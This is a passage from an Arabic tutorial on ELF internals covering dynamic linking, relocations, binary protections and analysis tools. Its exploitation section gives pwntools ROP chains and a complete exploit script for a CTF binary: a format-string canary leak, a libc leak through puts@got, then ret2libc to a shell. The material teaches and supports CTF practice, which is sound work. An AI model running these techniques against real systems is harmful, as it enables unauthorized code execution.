_start يهيّئ libc (__libc_start_main)، ثم يستدعي main() أخيرًا. أهلًا بك في عالم برمجتك!

المرحلة 10 — exit

عندما يعود main أو يُستدعى exit()، تُنفَّذ .fini_array ثم .fini، وأخيرًا syscall exit_group الذي ينهي العملية.


[07] الربط الديناميكي — PLT و GOT و Lazy Binding

هذا أهم قسم في الدليل من ناحية الاستغلال — لا تتجاوزه. إذا فهمت كيف يشتغل PLT و GOT و الـ lazy binding، بتفهم ليش تشتغل هجمات زي ret2plt و GOT overwrite — وبتعرف بالضبط متى تنفع ومتى ما تنفع. هذا الفرق بين اللي يقلّد exploits على github وبين اللي يكتبها من راسه.

المشكلة التي يحلّها الربط الديناميكي

عندما تكتب:

C⏵ ⋅ ⋅#include <stdio.h>
int main() {
    printf("Hello\n");
}

المُجمِّع لا يعرف أين printf في الذاكرة (فهو في libc.so، الذي قد يُحمَّل في أي مكان بسبب ASLR). الحل: يضع المُجمِّع استدعاءً غير مباشر:

asm⏵ ⋅ ⋅main:
    lea    rdi, [rip + str]
    call   printf@plt       ; قفز لـ PLT stub بدلًا من printf مباشرة
    ret

الديناغرام التفاعلي — كيف تعمل Lazy Binding

الديناغرام التالي يعرض ماذا يحدث عند أول استدعاء لـ printf، ثم عند الاستدعاءات اللاحقة. ستلاحظ الفرق بين المسار البطيء (أول مرة) والمسار السريع (بعد ذلك).

▸ INTERACTIVE — PLT/GOT Lazy Binding
main() call printf@plt printf@plt jmp [printf@got.plt] push reloc_index jmp PLT[0] printf@got.plt → يشير لـ PLT[1] (resolver stub) PLT[0] call _dl_runtime_resolve _dl_runtime_resolve (in ld-linux.so) libc::printf @ 0x7ffff7c4e3f0
انقر "استدعاء أول" لرؤية المسار البطيء (مع resolver)، ثم "استدعاء ثاني" لرؤية المسار المباشر.

التفسير التقني

الاستدعاء الأول — المسار البطيء

  1. main يستدعي printf@plt — قفزة عادية إلى عنوان معروف وقت الترجمة (في .plt).
  2. printf@plt أول تعليمة: jmp [printf@got.plt] — قفز غير مباشر عبر إدخال GOT.
  3. في البداية، printf@got.plt يحوي عنوانًا يشير إلى تعليمة push داخل نفس printf@plt stub. هذا يجعل القفز يعود مباشرة إلى السطر التالي في PLT.
  4. السطر التالي: push reloc_index ثم jmp PLT[0] — أول إدخال في PLT هو "resolver stub" مشترك بين جميع الدوال.
  5. PLT[0] يستدعي _dl_runtime_resolve في ld-linux، الذي يبحث في .dynsym و الـ hash tables ليجد عنوان printf الحقيقي.
  6. ld-linux يكتب العنوان الحقيقي في printf@got.plt، ثم يقفز إليه.

الاستدعاء الثاني — المسار السريع

الآن printf@got.plt يحوي العنوان الحقيقي. عندما main يستدعي printf@plt مرة أخرى:

  1. mainprintf@plt
  2. jmp [printf@got.plt] — يقفز مباشرة إلى libc::printf! لا resolver، لا overhead.
▸ هجوم GOT Overwrite

إذا كان .got.plt قابلًا للكتابة (لا RELRO أو Partial RELRO فقط) وتمكّن المهاجم من الكتابة في إدخال GOT، يمكنه استبدال عنوان أي دالة. مثال: استبدال printf@got.plt بعنوان system. في المرة التالية يستدعي البرنامج printf("/bin/sh")، سيُنفّذ system("/bin/sh") فعليًا!

أوضاع الربط — Lazy vs Immediate

افتراضيًا، الربط كسول: الـ relocation للدوال يحدث عند أول استدعاء. لكن يمكن إجبار الربط الفوري:

bash⏵ ⋅ ⋅$ LD_BIND_NOW=1 ./hello
# كل الـ GOT entries تُحلّ قبل main()
# تأثير: تأخر بسيط عند البدء، لكن بدون استدعاء resolver لاحقًا
# مفيد لأنظمة real-time حيث الـ jitter غير مقبول

$ gcc -Wl,-z,now -o hello_now hello.c
# يضيف flag DF_BIND_NOW في .dynamic - الربط فوري دائمًا

-z now هي شرط أساسي لـ Full RELRO، لأنّك لا تستطيع جعل GOT للقراءة فقط إذا كانت ld-linux تحتاج للكتابة فيه لاحقًا عند الـ lazy resolution.

كيف يبحث ld-linux عن الرموز؟

عملية البحث (symbol lookup) ليست خطية. ld-linux يستخدم hash tables محسّنة:

  • القديم: .hash — جدول hash بسيط مع algorithm SysV.
  • الحديث: .gnu.hash — أسرع بكثير. يستخدم Bloom filter لرفض الرموز غير الموجودة فورًا، ثم hash buckets مرتبة.

[08] جداول الرموز (Symbol Tables)

الرمز (symbol) هو اسم مرتبط بعنوان. كل دالة وكل متغير global في برنامجك له رمز. الرموز هي ما يسمح للرابط بدمج عدة ملفات .o في برنامج واحد، ولـ ld-linux بربط printf@plt بـ printf الحقيقي في libc.

الجدولان: .symtab و .dynsym

الخاصية.symtab.dynsym
الغرضللرابط والمنقّحاتللربط الديناميكي وقت التشغيل
المحتوىكل الرموز (محلية + عامة + هidden)الرموز المصدَّرة/المستوردة فقط
يبقى بعد strip؟❌ لا (يُحذف)✅ نعم (مطلوب للتشغيل)
القسمغير قابل للتحميل (SHF_ALLOC=0)قابل للتحميل (SHF_ALLOC=1)

هيكل إدخال الرمز

C⏵ ⋅ ⋅typedef struct {
    Elf64_Word    st_name;     // إزاحة الاسم في .strtab
    unsigned char st_info;     // binding (4 bits) | type (4 bits)
    unsigned char st_other;    // visibility
    Elf64_Half    st_shndx;    // رقم القسم الذي ينتمي إليه
    Elf64_Addr    st_value;    // عنوان الرمز
    Elf64_Xword   st_size;     // حجم الرمز (للدوال = حجم الكود)
} Elf64_Sym;

أنواع الـ binding

  • STB_LOCAL: رمز محلي، مرئي داخل الـ object file فقط. مثال: static int في C.
  • STB_GLOBAL: رمز عام، مرئي لجميع الـ object files. مثال: int x; أو void foo() {}.
  • STB_WEAK: رمز "ضعيف" — يمكن تجاوزه برمز global آخر بنفس الاسم دون خطأ. مفيد للـ defaults القابلة للتعديل.

الـ visibility

  • STV_DEFAULT: default — يُصدَّر إذا كان global.
  • STV_HIDDEN: مخفي — موجود في .symtab، لكن لا يُصدَّر إلى .dynsym. مفيد للمكتبات لإخفاء الـ internals.
  • STV_PROTECTED: يُصدَّر لكن لا يمكن للمكتبات الأخرى تجاوزه.
bash⏵ ⋅ ⋅$ nm ./hello | head -10
0000000000004010 B __bss_start
0000000000004010 b completed.0
                 w __cxa_finalize@GLIBC_2.2.5
0000000000004000 D __data_start
0000000000004000 W data_start
0000000000003df8 d __dso_handle
0000000000003e00 d _DYNAMIC
0000000000004010 D _edata
0000000000004018 B _end
0000000000001188 T _fini
                 U printf@GLIBC_2.2.5

# الحرف الأول يكشف نوع الرمز:
#  T/t = في .text   D/d = في .data   B/b = في .bss
#  U   = undefined (لم يُحلّ بعد، من مكتبة خارجية)
#  W/w = weak  V/v = weak object  A = absolute
# كبير = global   صغير = local

[09] إعادة التموضع (Relocations)

الـ relocation هو وعد: "عند التحميل، ضع العنوان X في الموقع Y بحسب الصيغة Z." الرابط والـ dynamic linker كلاهما يستخدم relocations — الفرق أنّ الرابط يحلّها وقت الترجمة (static)، أمّا ld-linux يحلّها وقت التشغيل (dynamic).

نوعا الجداول: REL و RELA

  • REL (Elf64_Rel): يحوي (offset, info) فقط — الـ addend يأتي من القيمة الحالية في الموقع.
  • RELA (Elf64_Rela): يحوي (offset, info, addend) — الـ addend صريح. هذا ما يُستخدم على x86_64.

أنواع relocations الشائعة على x86_64

النوعالصيغةالاستخدام
R_X86_64_64S + Aعنوان كامل 64-بت
R_X86_64_PC32S + A - Pعنوان نسبي 32-بت (للـ call)
R_X86_64_GOT32G + Aإزاحة في GOT
R_X86_64_PLT32L + A - Pقفز إلى PLT
R_X86_64_RELATIVEB + Aللـ PIE — عنوان نسبي إلى قاعدة التحميل
R_X86_64_GLOB_DATSكتابة عنوان متغير في GOT
R_X86_64_JUMP_SLOTSكتابة عنوان دالة في .got.plt
R_X86_64_IRELATIVEindirect(B + A)IFUNC — دالة تختار نسخة وقت التشغيل

الرموز: S = symbol value | A = addend | P = place | B = base address | G = GOT offset | L = PLT entry

عملية الـ relocation العملية

RELOCATION FLOW — قبل وبعد قبل (في الملف) .got.plt[printf] = 0x0000000000001050 (يشير إلى PLT stub) .rela.plt entry offset = 0x4018 (.got.plt[printf]) type = R_X86_64_JUMP_SLOT ld-linux at runtime يبحث عن "printf" في libc يكتب العنوان في GOT بعد (في الذاكرة) .got.plt[printf] = 0x7f4321ab43f0 (يشير إلى libc::printf الحقيقي) .rela.plt entry — done في Lazy mode: حُلَّ عند أول call في Now mode: حُلَّ قبل main() عرض الـ relocations يدويًا: $ readelf -rW ./hello Relocation section '.rela.plt' at offset 0x5b8 contains 1 entry: Offset Info Type Sym. Value Sym. Name + Addend
Diagram 5. Relocation Lifecycle — تحوّل إدخال GOT من stub إلى عنوان حقيقي

[10] الحمايات (Security Features)

كل حماية في القائمة التالية وُلدت كاستجابة لهجوم معروف. فهم تاريخ كل حماية وكيف تعمل داخليًا هو الخطوة الأولى لفهم كيف يُتجاوز.

طبقات الحماية على بايناري حديث CET (Shadow Stack + IBT) Intel x86_64 — حماية CPU ضد ROP و JOP Full RELRO .got + .dynamic → readonly بعد التحميل Stack Canary قيمة عشوائية بين البفر و RIP المحفوظ PIE (Position Independent Executable) قاعدة البرنامج عشوائية → ASLR شامل NX / DEP (no-execute) المكدّس والـ heap لا يقبلان التنفيذ ASLR (kernel-level) عناوين mmap, stack, libc, heap عشوائية كل تشغيل FORTIFY_SOURCE استبدال دوال خطرة بنسخ آمنة (compile-time) 🛡 hardware 🛡 linker 🛡 OS 🛡 libc
Diagram 6. Modern Binary Defense Stack — من أعلى (الأقوى) إلى أسفل

NX / DEP — No-Execute

فكرة بسيطة: صفحة الذاكرة إما قابلة للكتابة أو قابلة للتنفيذ، لا الاثنين معًا. هذا يلغي هجمات shellcode الكلاسيكية. التطبيق على Linux: bit رقم 63 في page table entry على x86_64 (XD bit). يُتحكَّم به عبر PT_GNU_STACK segment flags. كيف يُتجاوز: ROP و ret2libc — تستخدم كود موجود مسبقًا بدل حقن كود جديد.

ASLR — Address Space Layout Randomization

يجعل العناوين عشوائية كل تشغيل: libc، mmap، stack، heap. /proc/sys/kernel/randomize_va_space يتحكم فيه:

  • 0: مُعطَّل تمامًا.
  • 1: stack و libraries عشوائية فقط.
  • 2: + heap (الافتراضي).

قيود ASLR: على Linux 32-بت، الإنتروبيا صغيرة (~16 bit) — يمكن brute-force. على 64-بت، الإنتروبيا أكبر بكثير (~28-30 bit) — يتطلب leak تقريبًا دائمًا. كيف يُتجاوز: تسريب عنوان واحد من libc يكفي لحساب كل العناوين الأخرى (لأن النسب بينها ثابتة).

PIE — Position Independent Executable

كل البرنامج (وليس فقط المكتبات) يستخدم عناوين نسبية. قاعدة الـ .text تصبح عشوائية. هذا يحمي عناوين الـ gadgets و الـ win functions داخل البرنامج نفسه. كيف يُتجاوز: أي leak لعنوان داخل البرنامج (مثل عنوان دالة عبر format string) يكشف الـ base كاملًا.

Stack Canary

قيمة عشوائية تُوضع في prologue كل دالة بين البفر و RIP المحفوظ. عند الـ epilogue، يُتحقّق من القيمة — إذا تغيّرت (= حدث buffer overflow)، يُستدعى __stack_chk_fail ويُقتل البرنامج. تفاصيل التطبيق:

asm⏵ ⋅ ⋅vuln:
    ; prologue
    mov    rax, fs:[0x28]   ; قراءة canary من TLS
    mov    [rbp-0x8], rax     ; حفظه في المكدّس
    ...
    ; epilogue
    mov    rax, [rbp-0x8]     ; قراءة canary من المكدّس
    sub    rax, fs:[0x28]   ; مقارنة
    jne    __stack_chk_fail
    ret

الـ canary على Linux 64-بت دائمًا يبدأ ببايت 0x00. هذا متعمَّد — إذا حاولت قراءته بـ strcpy، البايت الأول سيوقف القراءة. كيف يُتجاوز: تسريب الـ canary عبر format string، أو brute-force بايت بايت في الـ forking servers، أو إعادة كتابة الـ canary بنفس قيمته (إذا كان مسرّبًا).

RELRO — Read-Only Relocations

أهم حماية لمنع GOT overwrite. ثلاثة أوضاع:

  • No RELRO (-z norelro): كل شيء قابل للكتابة. أسوأ سيناريو.
  • Partial RELRO (الافتراضي): .got و .init_array readonly، لكن .got.plt يبقى قابلًا للكتابة (لدعم Lazy Binding). هذا هو الوضع الأكثر شيوعًا في تحديات CTF.
  • Full RELRO (-z now -z relro): كل شيء readonly. يتطلب Immediate Binding (لا lazy). .got.plt غير قابل للكتابة → لا GOT overwrite كلاسيكي.

FORTIFY_SOURCE

تقنية compile-time: GCC يستبدل دوال خطيرة بنسخ آمنة عند معرفة حجم البفر:

C⏵ ⋅ ⋅char buf[10];
strcpy(buf, user_input);
// مع -D_FORTIFY_SOURCE=2 و -O1، يتحوّل إلى:
__strcpy_chk(buf, user_input, 10);
// إذا حصل overflow → __chk_fail() ويُقتل البرنامج

CET — Control-flow Enforcement Technology

أحدث حماية من Intel (متاحة من معالجات Tiger Lake و Sapphire Rapids). جزءان:

  • SHSTK (Shadow Stack): مكدّس ثانٍ للقراءة فقط من كود المستخدم، يحوي نسخ من عناوين الرجوع. كل ret يقارن قمة المكدّس العادي بقمة الـ shadow stack — لا تطابق → SIGSEGV. هذا يلغي ROP بالكامل.
  • IBT (Indirect Branch Tracking): كل قفز غير مباشر يجب أن يهبط على تعليمة endbr64. هذا يلغي JOP/COP.

readelf -n ./binary يكشف ما إذا كان CET مُفعَّلًا عبر .note.gnu.property:

bash⏵ ⋅ ⋅$ readelf -n /bin/ls | grep "x86 feature"
      Properties: x86 feature: IBT, SHSTK

أداة checksec

bash⏵ ⋅ ⋅$ checksec --file=./challenge
RELRO         STACK CANARY  NX        PIE      RPATH    RUNPATH  Symbols  Fortified  Fortifiable
Partial RELRO   Canary found  NX enabled  No PIE   No RPATH  No RUNPATH  44       0           5
▸ شغل المحترفين

أول ما تشوف تحدّي pwn جديد، أول خطوة دايمًا: checksec ./bin. الحمايات هي اللي بتفرض عليك الاستراتيجية. No PIE + Partial RELRO + Canary = GOT overwrite بعد ما تسرّب الـ canary. PIE + Full RELRO = بتحتاج leak من libc + ROP إلى system. هذي قوانين اللعبة.


[11] منظور الاستغلال — كيف يُحطَّم البايناري

الحين — الجزء الحلو. كل اللي درسناه فوق كان تحضير. هنا بنترجم النظرية لاستغلال فعلي على البايناري. بشرح أهم تقنيات استغلال الـ ELF، وبعدها بنطبّقها على بايناري حقيقي (power_greed). جهّز قهوتك.

GOT Overwrite — الكلاسيكي الأبدي

الفكرة: استخدم أي primitive كتابة (arbitrary write) لاستبدال عنوان دالة في .got.plt بعنوان دالة أخرى. في المرة التالية يستدعي البرنامج الدالة الأولى، تُنفَّذ الثانية.

الشروط:

  • Partial RELRO أو No RELRO (لأنّ Full RELRO يجعل .got.plt readonly).
  • أي primitive للكتابة على عنوان معروف: format string، arbitrary write via heap، إلخ.
  • إذا PIE مُفعَّل، تحتاج لتسريب عنوان البرنامج أولًا لمعرفة موقع GOT.

ret2plt — استدعاء دوال libc بدون تسريب libc

مشكلة: ASLR يخفي libc، فلا تعرف عنوان system(). الحل: استدعِ الدالة عبر PLT — عناوين PLT ثابتة (في بايناري non-PIE) أو نسبية لقاعدة البرنامج (في PIE).

python⏵ ⋅ ⋅# مثال: استدعاء printf@plt كـ leak primitive
from pwn import *

elf = ELF('./vuln')
printf_plt = elf.plt['printf']
puts_got = elf.got['puts']
pop_rdi = 0x4011a3  # gadget من ROPgadget

payload  = b"A" * 72           # padding
payload += p64(pop_rdi)            # pop rdi ; ret
payload += p64(puts_got)           # arg1 = address of puts in GOT
payload += p64(printf_plt)         # استدعاء printf لتسريب puts
payload += p64(elf.symbols.main)   # العودة إلى main لاستغلال ثانٍ

ret2libc — التقنية الأصلية لتجاوز NX

بدل تنفيذ shellcode (مُمنوع بـ NX)، أعد التحكم إلى دالة موجودة في libc مثل system("/bin/sh"). تحتاج إلى:

  1. تسريب عنوان دالة libc واحدة (مثلًا puts أو __libc_start_main).
  2. حساب base libc = leaked - offset_of_leaked_in_libc.
  3. حساب عناوين system و "/bin/sh" من قاعدة libc.
  4. بناء ROP chain: pop rdi ; ret ; addr("/bin/sh") ; system.

ROP — Return-Oriented Programming

الفكرة الذكية: المكدّس يحوي سلسلة من العناوين، كل عنوان يُشير إلى "gadget" — تعليمات قليلة تنتهي بـ ret. كل ret ينبثق عنوانًا من المكدّس ويقفز إليه — مما يربط الـ gadgets معًا. النتيجة: تستطيع تنفيذ منطق معقد دون كتابة بايت واحد من الكود الجديد.

python⏵ ⋅ ⋅# ROP chain لاستدعاء execve("/bin/sh", 0, 0)
# gadgets:
pop_rdi      = 0x401a93  # pop rdi ; ret
pop_rsi_r15  = 0x401a91  # pop rsi ; pop r15 ; ret
pop_rdx      = 0x4019b7  # pop rdx ; ret
pop_rax      = 0x401b15  # pop rax ; ret
syscall_ret  = 0x401c2d  # syscall ; ret
bin_sh       = 0x404068  # address of "/bin/sh\0" in .bss after write

chain  = p64(pop_rdi) + p64(bin_sh)
chain += p64(pop_rsi_r15) + p64(0) + p64(0)
chain += p64(pop_rdx) + p64(0)
chain += p64(pop_rax) + p64(59)         # syscall #59 = execve
chain += p64(syscall_ret)

تقنيات تسريب العناوين

  • Format string: printf("%lx %lx %lx ...") — يقرأ من المكدّس ويطبع عناوين. الأكثر استخدامًا. %n يكتب — primitive كتابة قوية.
  • Uninitialized memory read: قراءة بفر قبل تهيئته قد تسرّب بقايا libc.
  • Partial overwrite: اكتب آخر بايت أو بايتين فقط من عنوان — لا يكسر ASLR لكن يحوّل التنفيذ موضعيًا.
  • OOB read: قراءة خارج حدود array قد تكشف عناوين من heap/stack.

تجاوز PIE

مع PIE، حتى عناوين main و win() داخل برنامجك غير معروفة. الحل دائمًا تقريبًا: leak. لكن أيّ leak؟

  • تسريب أي عنوان كود من البرنامج → اطرح إزاحته → احصل على base.
  • تسريب RIP المحفوظ من المكدّس → عنوان داخل __libc_start_main → libc base.
  • تسريب من .got.plt → عناوين دوال محدّدة.

إساءة استخدام Dynamic Linker

تقنيات متقدمة تستغل بنية الـ dynamic linker نفسه:

  • ret2dlresolve: صناعة Elf64_Rela مزيف على المكدّس، وإجبار _dl_runtime_resolve على "حلّه" — يحلّ رمز system ويستدعيه دون الحاجة لتسريب libc.
  • DT_DEBUG abuse: .dynamic يحوي مؤشرًا إلى قائمة الروابط (link_map) — يمكن استخدامه لتسريب base libc.
  • tls_dtor_func: دالة تُستدعى عند exit() — يمكن تحويلها لاستدعاء system.

دراسة حالة عملية — power_greed

power_greed بايناري CTF حقيقي: amd64، No PIE @ 0x400000، Partial RELRO، Canary، NX، مع تفعيل SHSTK/IBT. الثغرة هي buffer overflow في دالة greedy() مع format string في banner(). سأعرض الاستراتيجية الكاملة:

python — exploit.py⏵ ⋅ ⋅from pwn import *

elf = ELF('./power_greed')
io  = elf.process()

# ───── المرحلة 1: تسريب الـ canary عبر format string ─────
# offset مؤكَّد بعد فحص يدوي = 15
io.sendlineafter(b"name? ", b"%15$lx")
leak = io.recvline().strip()
canary = int(leak, 16)
log.success(f"Canary leaked: {hex(canary)}")

# ───── المرحلة 2: تسريب puts@got لمعرفة قاعدة libc ─────
pop_rdi    = 0x401a93
puts_plt   = elf.plt['puts']
puts_got   = elf.got['puts']
main_addr  = elf.symbols.main
ret_gadget = 0x40101a

# التركيب: padding(56) + canary + saved_rbp(8) + ROP chain
payload  = b"A" * 56
payload += p64(canary)
payload += b"B" * 8          # saved rbp
payload += p64(pop_rdi)
payload += p64(puts_got)      # arg1: عنوان puts@got
payload += p64(puts_plt)      # استدعِ puts(puts@got) ⇒ يطبع عنوان puts الحقيقي
payload += p64(main_addr)     # ارجع إلى main لاستغلال ثانٍ

io.sendlineafter(b"data: ", payload)
leaked = u64(io.recvline().strip().ljust(8, b"\\x00"))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = leaked - libc.symbols.puts
log.success(f"libc base: {hex(libc.address)}")

# ───── المرحلة 3: ROP إلى system("/bin/sh") ─────
binsh  = next(libc.search(b"/bin/sh"))
system = libc.symbols.system

io.sendlineafter(b"name? ", b"second")

final  = b"A" * 56
final += p64(canary)
final += b"B" * 8
final += p64(ret_gadget)     # stack alignment
final += p64(pop_rdi)
final += p64(binsh)
final += p64(system)

io.sendlineafter(b"data: ", final)
io.interactive()  # 🏴‍☠️ shell!

لاحظ بنية الـ payload:

  • 56 بايت padding: حُسبت من rsp - rbp عند نقطة الـ overflow.
  • canary: المُسرَّب من المرحلة 1 — يجب وضعه بالضبط في موقعه الأصلي.
  • saved rbp (8 بايت): يمكن أن يكون قمامة، لكنّ بعض الـ epilogues تحتاجه صحيحًا.
  • ROP chain: المنطق الفعلي للاستغلال.
▸ فخّ شائع — انتبه

قبل ما تستدعي system في libc، لازم تسوّي stack alignment. تعليمة movaps داخل system تتطلب RSP يكون منقسم على 16. إذا عدد عناوين الـ ROP عندك فردي، ضيف ret gadget واحد قبل system علشان يصلّح المحاذاة. هذي النقطة قاتلة كثير من الـ exploits اللي تشوفها "صح منطقيًا" بس مو شغّالة وما تدري وش السبب. خلّك ذكي معاها.


[12] أدوات تحليل ELF — صندوق العدّة

كل عكّاس محترف يعرف أدواته بأصابعه. إليك الأدوات الأساسية مع متى ولماذا تستخدم كل واحدة:

readelf — السكين السويسري

bash⏵ ⋅ ⋅$ readelf -h binary    # ELF header
$ readelf -lW binary   # Program headers (segments)
$ readelf -SW binary   # Section headers
$ readelf -s binary    # كل الرموز
$ readelf --dyn-syms binary # رموز ديناميكية فقط
$ readelf -rW binary   # كل الـ relocations
$ readelf -d binary    # قسم .dynamic
$ readelf -n binary    # notes — مفيد لرؤية build-id و CET
$ readelf -a binary    # كل شيء (مفيد مع | less)

objdump — الديساسمبلر الكلاسيكي

bash⏵ ⋅ ⋅$ objdump -d binary    # disassemble (.text فقط افتراضيًا)
$ objdump -D binary    # disassemble كل الأقسام (حتى .data — احذر)
$ objdump -M intel -d binary # Intel syntax بدلًا من AT&T
$ objdump -R binary    # dynamic relocations
$ objdump -t binary    # symbol table
$ objdump -s -j .rodata binary # hex dump لقسم محدّد

nm — قائمة الرموز السريعة

bash⏵ ⋅ ⋅$ nm binary             # جميع الرموز
$ nm -D binary          # رموز ديناميكية فقط
$ nm --defined-only binary # تجاهل الـ undefined
$ nm -u binary          # فقط الـ undefined (المستورد من libs)

الأدوات الإضافية

  • strings binary — استخراج كل السلاسل القابلة للقراءة. أول خطوة في تحليل أي بايناري غير معروف.
  • file binary — يعرّفك نوع الملف بسرعة (ELF 64-bit, dynamically linked, …).
  • ldd binary — قائمة المكتبات المُحمَّلة. ⚠️ خطر مع بايناريات untrusted — يمكنه تنفيذ كود!
  • checksec --file=binary — ملخص الحمايات. الأداة الأولى لكل تحدّي pwn.
  • pwndbg / gef — إضافات GDB حديثة، تعرض السياق الكامل: registers، stack، disasm، رسالة chain analysis.
  • radare2 / rizin — framework عكسي قوي. خط الأوامر، لكن قوي جدًا.
  • Ghidra — Decompiler مجاني (NSA)، يحوّل assembly إلى pseudo-C قابل للقراءة.
  • Binary Ninja — تجاري، واجهة حديثة، نظام MLIL/HLIL ممتاز.
  • ROPgadget / ropper — البحث عن gadgets في بايناري.
  • one_gadget — يجد عناوين "magic gadgets" في libc تستدعي execve("/bin/sh", 0, 0) بدون حاجة لـ arguments.
  • pwntools — مكتبة Python للاستغلال. تجعل بناء payloads فنًّا متعة.

سير العمل النموذجي للعكّاس

bash — Reverse Engineering Workflow⏵ ⋅ ⋅# 1. الاستطلاع السريع
$ file ./target          # تأكيد النوع
$ checksec ./target      # ما الحمايات؟
$ strings ./target | grep -iE "flag|key|sh|pass"

# 2. الفحص الهيكلي
$ readelf -h ./target
$ readelf -SW ./target | grep -E "(text|got|plt|init)"
$ nm ./target | grep -iE "win|flag|admin"

# 3. التحليل الديناميكي
$ gdb -q ./target
pwndbg> checksec
pwndbg> b main
pwndbg> run
pwndbg> vmmap             # map كامل للذاكرة
pwndbg> got               # جدول GOT الحالي
pwndbg> plt               # جدول PLT

# 4. البحث عن gadgets
$ ROPgadget --binary ./target | grep "pop rdi"

[13] بناء ملفات ELF — رحلة من C إلى التنفيذ

كيف يتحوّل ملف .c إلى ELF؟ العملية أعقد بكثير مما يوحي به gcc hello.c. هناك أربع مراحل، كل واحدة تخرج ملفًا وسيطًا:

bash — Compilation Pipeline⏵ ⋅ ⋅# المرحلة 1: Preprocessing — معالجة #include و #define
$ gcc -E hello.c -o hello.i
# hello.i = ملف نصي ضخم بعد توسيع كل الـ headers

# المرحلة 2: Compilation — C → Assembly
$ gcc -S hello.i -o hello.s
# hello.s = ملف assembly نصي قابل للقراءة

# المرحلة 3: Assembly — Assembly → Object file
$ as hello.s -o hello.o
# hello.o = ELF من نوع ET_REL، فيه .text لكن بدون عناوين نهائية

# المرحلة 4: Linking — دمج .o + libc + startup → ELF executable
$ gcc hello.o -o hello
# hello = ELF نهائي قابل للتنفيذ (ET_DYN في عصر PIE)

أدوار المُكوّنات

  • المعالج المسبق (cpp): يفك #include، #define، #ifdef.
  • المُجمِّع (cc1): يحوّل C إلى assembly. هنا يحدث optimization و register allocation.
  • الـ assembler (as / gas): يحوّل assembly إلى machine code + relocation info.
  • الرابط (ld): يدمج عدة ملفات .o، يحلّ الـ symbols، يكتب الـ headers، ويخرج ELF نهائي.

الـ Startup Files

عندما تكتب main()، أنت لا تكتب نقطة الدخول الفعلية. لينكس يبدأ من _start الذي يأتي من ملفات startup:

  • crt1.o (أو Scrt1.o للـ PIE): يحوي _start — يهيّئ المكدّس ويستدعي __libc_start_main.
  • crti.o: بداية أقسام .init و .fini.
  • crtn.o: نهاية أقسام .init و .fini.
  • libc.so: مكتبة C القياسية.
  • libgcc.a + libgcc_s.so: helpers لـ GCC (math 64-bit على معماريات 32-بت، إلخ).
bash⏵ ⋅ ⋅# رؤية ما يفعله gcc فعليًا تحت الكواليس:
$ gcc -v hello.c -o hello 2>&1 | grep collect2
/usr/libexec/gcc/x86_64-linux-gnu/.../collect2
  --build-id --eh-frame-hdr -m elf_x86_64 -dynamic-linker /lib64/ld-linux-x86-64.so.2
  /usr/lib/x86_64-linux-gnu/Scrt1.o
  /usr/lib/x86_64-linux-gnu/crti.o
  /usr/lib/gcc/x86_64-linux-gnu/.../crtbeginS.o
  hello.o
  /usr/lib/gcc/x86_64-linux-gnu/.../crtendS.o
  /usr/lib/x86_64-linux-gnu/crtn.o
  -lgcc --as-needed -lgcc_s --no-as-needed
  -lc -lgcc --as-needed -lgcc_s --no-as-needed

ربط ثابت مقابل ديناميكي

bash⏵ ⋅ ⋅$ gcc hello.c -o dynamic_hello
$ ls -la dynamic_hello       # ~16K
$ ldd dynamic_hello
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x...)

$ gcc -static hello.c -o static_hello
$ ls -la static_hello        # ~800K — كل libc مُضمَّن
$ ldd static_hello
  not a dynamic executable

الـ static يحوي كل libc داخله، حجمه كبير لكنه لا يحتاج dynamic linker. مفيد لـ embedded و contained binaries (مثل بعض docker images). من منظور الاستغلال: لا PLT/GOT، لكن عناوين دوال libc ثابتة ومعروفة — gadgets أكثر بكثير، ROP أسهل.


[14] المثال العملي — تشريح Hello World

لنطبّق كل ما تعلّمناه على البرنامج الأبسط على الإطلاق. سنُترجمه ثم نشرّحه قسمًا قسمًا:

C — hello.c⏵ ⋅ ⋅#include <stdio.h>

int main() {
    printf("Hello World\n");
    return 0;
}
bash⏵ ⋅ ⋅$ gcc hello.c -o hello
$ ./hello
Hello World
$ ls -la hello
-rwxr-xr-x 1 user user 15960 ... hello

الخطوة 1 — الترويسة

readelf -h⏵ ⋅ ⋅$ readelf -h hello
  Class:                      ELF64
  Data:                       2's complement, little endian
  OS/ABI:                     UNIX - System V
  Type:                       DYN (Position-Independent Executable file)
  Machine:                    Advanced Micro Devices X86-64
  Entry point address:        0x1060            # _start (إزاحة، PIE)
  Start of program headers:   64 (bytes into file)
  Start of section headers:   13680
  Number of program headers:  13
  Number of section headers:  30

ملاحظات: Type = DYN لأنّ GCC الحديث يُولّد PIE افتراضيًا. Entry point = 0x1060 هو إزاحة _start ضمن البرنامج (سيُضاف إلى base العشوائي وقت التشغيل).

الخطوة 2 — الـ Segments (Program Headers)

readelf -lW⏵ ⋅ ⋅$ readelf -lW hello
  Type         Offset   VirtAddr           FileSiz  MemSiz   Flg
  PHDR         0x000040 0x0000000000000040 0x0002d8 0x0002d8 R   
  INTERP       0x000318 0x0000000000000318 0x00001c 0x00001c R   
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD         0x000000 0x0000000000000000 0x0005f0 0x0005f0 R  
  LOAD         0x001000 0x0000000000001000 0x00018d 0x00018d R E  # كود
  LOAD         0x002000 0x0000000000002000 0x000114 0x000114 R    # rodata
  LOAD         0x002db8 0x0000000000003db8 0x000258 0x000260 RW   # data
  DYNAMIC      0x002dc8 0x0000000000003dc8 0x0001f0 0x0001f0 RW  
  NOTE         0x000338 0x0000000000000338 0x000044 0x000044 R   
  GNU_PROPERTY 0x000338 ... R   
  GNU_EH_FRAME 0x002014 ... R   
  GNU_STACK    0x000000 ... RW             # NX مُفعَّل (لا E)
  GNU_RELRO    0x002db8 ... R                # Partial RELRO

الخطوة 3 — الأقسام الرئيسية

لنركّز على ما يهمّ. الـ .text يحوي كودنا الفعلي:

objdump -d⏵ ⋅ ⋅$ objdump -d -M intel hello | grep -A 15 <main>
0000000000001149 <main>:
    1149:  endbr64                            # IBT landing pad
    114d:  push    rbp
    114e:  mov     rbp, rsp
    1151:  lea     rax, [rip + 0xeac]      # عنوان "Hello World"
    1158:  mov     rdi, rax                  # arg1 لـ puts
    115b:  call    1050 <puts@plt>             # gcc حوّل printf إلى puts!
    1160:  mov     eax, 0x0
    1165:  pop     rbp
    1166:  ret
▸ تحسين GCC الذكي

